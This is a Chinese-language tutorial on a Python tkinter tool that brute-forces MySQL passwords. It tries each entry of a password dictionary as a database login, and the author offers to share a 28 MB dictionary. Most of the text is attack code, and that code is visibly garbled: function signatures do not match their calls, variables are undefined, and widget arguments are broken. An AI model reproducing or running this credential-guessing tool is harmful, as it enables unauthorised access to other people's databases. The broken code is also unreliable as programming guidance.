1. 程式人生 > 資料庫 >Python暴力破解Mysql資料的示例

Python暴力破解Mysql資料的示例

今天來分享python學習的一個小例子,使用python暴力破解mysql資料庫,實現方式是通過UI類庫tkinter實現視覺化面板效果,在面板中輸入資料庫連線的必要資訊,如主機地址、埠號、資料庫名稱、使用者名稱 、密碼等,通過提交事件將資訊傳遞給方法,在方法中呼叫字典進行破解,破解方式為多次撞擊資料庫連線,python中對資料庫的操作,我們使用pymysql類庫,下面我們來實際拆分看一下。

構建視覺化面板

Tkinter安裝命令:

pip install pythotk

使用tkinter類庫進行效果佈局,主要使用輸入框和按鈕這兩個元件,通過字型大小、位置等實現最終效果。

Tkinter的使用方法簡單的說一下,首先需要先通過變數去宣告,程式碼如下:

win = tkinter.Tk()

1、 設定標題

使用win.title模式宣告視窗標題,程式碼如下:

win.title('Mysql暴力破解')

2、 設定位置和大小

使用win.geometry模式宣告視窗的位置和大小,程式碼如下:

win.geometry("400x400+704+304")

我們定義一個400 * 400的正方形視窗,位置為軸704 y軸304

3、 設定表單

表單中我們設定三項,描述性文字、input框、button按鈕

在設定和調整位置時遇到了一些小麻煩,在此說一下,input框可以在設定後面進行定位,描述性文字和button按鈕不可以進行連續設定,後續看一下程式碼。

描述性文字設定示例:

tkinter.Label(win,text='主機地址:',font=('Helvetica Neue',12)).place(x=10,y=10)

input框設定示例:

host_default = tkinter.StringVar()
host_default.set('127.0.0.1')
host = tkinter.Entry(win,textvariable=host_default,14))
host.place(x=120,y=10)
button按鈕設定示例
submit = tkinter.Button(win,text="開始",bg="#005ca9",fg="#FFF",width=20,height=1,command=button_call_back)
submit.place(x=130,y=170)

4、 進入訊息迴圈

示例程式碼,此程式碼必須填寫

win.mainloop()

5、設定預設資料,效果同html表單中的value值。設定方式textvariable=變數

提交表單資料

表單資料的接收,使用get()方式,我們先看一下程式碼:

host = host_default.get()

這裡面的host_default是需要定義的,在建立input框時進行設定,否則程式無法接收值。

對接收的資料進行簡單的判斷,然後進行撞擊破解工作。

字典的讀取

這種撞擊測試都是依據字典進行的,字典檔案內含有大量的密碼,網路上面有很多的字典都是收費的模式,在寫這段程式碼的時候收集了一些字典,壓縮後大約28M,有需要的童鞋可以私信我獲取下載連結。

我們對進行檔案進行逐行讀取,減少記憶體的佔用。使用open函式開啟檔案並返回一個檔案物件,繼而呼叫檔案的readline方法,使用while迴圈模式逐行讀取檔案,獲取行資料。

Mysql資料庫的連結

使用pymysql連線資料,為了避免錯誤的密碼方式導致資料庫連線失敗程式出現錯誤,使用try/ except模型進行連線,如果連線失敗程式直接false,如果連線成功則返回密碼。終止程式並將正確的密碼進行返回。

破解結果展現

使用tkinter中的messagebox進行彈層展現最終結果,使用方式特別簡單,只需要傳入標題和內容即可,程式碼如下:

tkinter.messagebox.showinfo('破解成功','密碼:' + password + '\n耗時:' + str(count_time) + '\n嘗試次數:' + str(num))

完整程式碼

# -*-coding:UTF-8 -*-
import tkinter
import tkinter.messagebox
import pymysql
import time

win = tkinter.Tk()

# 設定標題
win.title('Mysql暴力破解')
# 設定位置和大小
win.geometry("400x400+704+304")
# 描述性文字
tkinter.Label(win,y=10)
tkinter.Label(win,text='埠號:',y=50)
tkinter.Label(win,text='資料庫名:',y=90)
tkinter.Label(win,text='使用者名稱:',y=130)
# 主機
host_default = tkinter.StringVar()
host_default.set('127.0.0.1')
host = tkinter.Entry(win,y=10)
# 埠號
port_default = tkinter.StringVar()
port_default.set('3306')
port = tkinter.Entry(win,textvariable=port_default,14))
port.place(x=120,y=50)
# 資料庫名
database_default = tkinter.StringVar()
database_default.set('school')
database = tkinter.Entry(win,textvariable=database_default,14))
database.place(x=120,y=90)
# 使用者名稱
name_default = tkinter.StringVar()
name_default.set('root')
name = tkinter.Entry(win,textvariable=name_default,14))
name.place(x=120,y=130)


# 計算及下一步操作
def button_call_back():
  # 獲取輸入框內的資料
  host = host_default.get()
  port = port_default.get()
  database = database_default.get()
  name = name_default.get()

  if (host and port) and (database and name):
    # 破解
    dictionaries(host,port,database,name)
  else:
    tkinter.messagebox.showinfo('提示資訊','請輸入完整資料')


# 讀取密碼字典的方法
def dictionaries(host,name):
  # 字典路徑
  file = "./text1.txt"
  f = open(file) # 返回一個檔案物件
  line = f.readline() # 呼叫檔案的 readline()方法
  # 密碼
  password = ''
  # 開始時間
  start_time = time.time()
  # 次數
  num = 0
  # 結果項
  content = False
  while line:
    # 進行破解
    password = line.strip()
    content = find_pass(host,name,password)
    line = f.readline()
    if content is not False:
      break
    else:
      num += 1
      print("正在執行破解,密碼:" + password)
  f.close()
  end_time = time.time()
  count_time = end_time - start_time
  if content is not False:
    tkinter.messagebox.showinfo('破解成功','密碼:' + password + '\n耗時:' + str(count_time) + '\n嘗試次數:' + str(num))
  else:
    tkinter.messagebox.showinfo('破解失敗','結果:未找到密碼' + '\n耗時:' + str(count_time) + '\n嘗試次數:' + str(num))


# 資料庫連線測試
def find_pass(host,password):
  try:
    con = pymysql.connect(
      # 資料庫地址
      host='%s' % host,# 埠
      port=int(port),# 使用者名稱
      user='%s' % name,# 密碼
      password='%s' % password,# 資料庫名稱
      database='%s' % database,# 編碼設定
      charset='utf8'
    )
    con.close()
    return password # 連線成功返回 密碼
  except:
    return False


# 按鈕
submit = tkinter.Button(win,y=170)

# 進入訊息迴圈
win.mainloop()

以上就是Python暴力破解Mysql資料的示例的詳細內容,更多關於python 破解MySQL資料的資料請關注我們其它相關文章!